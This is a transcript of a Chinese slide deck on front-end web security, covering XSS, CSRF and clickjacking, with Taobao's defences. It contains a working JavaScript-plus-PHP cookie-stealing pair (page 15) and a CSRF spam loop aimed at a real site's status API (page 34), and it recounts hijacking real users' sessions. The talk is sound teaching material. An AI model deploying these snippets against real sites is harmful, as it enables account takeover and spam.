f2e security

60
前端安全概览及防范 明城

Upload: jay-li

Post on 28-Jan-2015

112 views

Category:

Technology


3 download

DESCRIPTION

 

TRANSCRIPT

Page 1: F2e security

前端安全概览及防范明城

Page 2: F2e security

关于

2

明城

Page 3: F2e security

安全第一

3

Page 4: F2e security

4

Page 5: F2e security

内容提要• 常见攻击手法– XSS– CSRF– Clickjacking

• 综合案例• Q&A

Page 6: F2e security

我们的航海图

Page 7: F2e security
Page 8: F2e security

XSS,潘多拉的造盒匠

Page 9: F2e security

XSS 不像 CSS 那么优美

跨站脚本攻击(Cross-site scripting,通常简称为 XSS)是一种网站应用的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。

Page 10: F2e security

典型的 XSS 注入

Page 11: F2e security

XSS 的危害

• 盗取用户Cookie• 修改页面DOM• 作为其他攻击的跳板• …

Page 12: F2e security

案 例

Yupoo 的 XSS 漏洞

Page 13: F2e security

漏洞利用原理

用 Yupoo 某处的 XSS 盗取用户 Cookie 信息,然后伪造 Cookie 模拟登陆。

Page 14: F2e security

哦也,发现个 XSS

不要小看这个 alert,这表明你已经拥有了对这页面的控制权!

Page 15: F2e security

构建攻击脚本客户端(Javascript)

服务器端(PHP)

var img = new Image();img.src = 'get_cookie.php?var='+encodeURI(document.cookie);

<?phpif (isset($_GET['var'])) { file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));}

Page 16: F2e security

“不是技术问题”的技术问题

事情到这步,就不仅要看人品,更要看相貌了!

Page 17: F2e security

“鱼”上钩了!

于是乎,通过这个XSS漏洞,我们就获取到了这家伙的Cookie。

Page 18: F2e security

伪造 Cookie 并模拟登录

Page 19: F2e security

那么,如何防范 XSS

• Filter input,Escape output(过滤输入,转义输出)• 严格控制 Cookie域• 禁用客户端脚本 noscript?

Page 20: F2e security

淘宝的“混沌之初”

Page 21: F2e security
Page 22: F2e security

淘宝的解决之道

•“金钟罩”白名单机制• 人件

Page 24: F2e security

CSRF,苏醒的巨人

Page 25: F2e security

学术化的定义

CSRF(Cross Site Request Forgery)是伪造客户端请求的一种攻击,字面上的意思是跨站点伪造请求。

Page 26: F2e security

CSRF 的危害

借用被攻击者在目标站点上的权限,进行不被期望的操作。

Page 27: F2e security

“杯具”如何发生?

<img src=“http://.../del.php?id=64” />

Page 28: F2e security

案 例

叽歪的 CSRF Spam

Page 29: F2e security

漏洞利用原理

使用客户端脚本自动提交叽歪未经验证的表单

Page 30: F2e security

分析代码(HTML)

Page 31: F2e security

分析代码(JS 部分)

Page 32: F2e security

构建表单

<form action="http://jiwai.de/wo/status/update" method="post">

<textarea name="jw_status"></textarea> <input type="submit" /> </form>

Page 33: F2e security

测试表单

• 测试表单提交通过• 同时发现 叽歪 并不区分 GET 和 POST 请求

• 第二点是致命的

Page 34: F2e security

升级攻击脚本

setInterval(function() { var img = new Image(); var message = '明城很帅'; var api = 'http://jiwai.de/wo/status/update';

img.src = api + '?jw_status=' + message + '&t=' + +new Date();

}, 1000);

Page 35: F2e security

剩下就是相貌问题了

“小姑娘,帮叔叔打开个页面好不好?”

Page 36: F2e security

软磨硬泡后⋯ 得手了!

Page 37: F2e security

又轮到淘宝了⋯

Page 38: F2e security

构建表单,发送 POST

Page 39: F2e security

访问后,发生了什么?

Page 40: F2e security

然后呢?

Page 41: F2e security

那么,如何防范 CSRF

• 正确使用 GET、POST 和 Cookie• 使用 Referer 判断请求来源• 在请求中使用 Token•不要打开陌生的链接

Page 42: F2e security

淘宝的解决之道• 整站追加 _tb_token_

• 严格的来源请求(Referer)

Page 44: F2e security

Clickjacking, 隐身的吸血鬼

Page 45: F2e security

原 理

配合用户无意识的交互行为进行的攻击

Page 46: F2e security

案 例

Twitter 的 Clickjacking 攻击

Page 47: F2e security

“漏洞”利用原理

1. 使用 iframe 嵌入 Twitter 页面并将其透明度设置为0(即不可见)

2. 然后将“发布”按钮与页面需要用户点击区域重合

3. 用户本意点击这块区域实际上点击的是 Twitter 的发布按钮

Page 48: F2e security

示意图

Page 49: F2e security

防范之道

• 考虑页面被嵌入的情况• 验证请求来源

Page 50: F2e security

再次“八卦”下淘宝

Page 51: F2e security

其他攻击方式

Page 52: F2e security

综合攻击案例

Page 53: F2e security

海内的 CSRF 蠕虫攻击

Page 54: F2e security

来点“和谐”的

Page 55: F2e security

淘宝的案例

问题:如何给第三方应用传送信息,但不泄漏本站所有信息(Cookie、Session等)?

Page 56: F2e security

XSS & CSRF 的“妙用”

• 在第三方插入段淘宝的“JS 脚本”• 淘宝收到请求,并判断用户登录状态• 根据登录状态跳转到淘宝页面或者输出对应的数据

Page 57: F2e security

路在何方?

Page 58: F2e security

Q&A

Page 59: F2e security

联系方式

var 明城 = { Gtalk: i.feelinglucky#gmail.com,Twitter: @feelinglucky, Blog: http://www.gracecode.com/}

Page 60: F2e security

'alert(/tHx/)'.replace(/.+/, eval);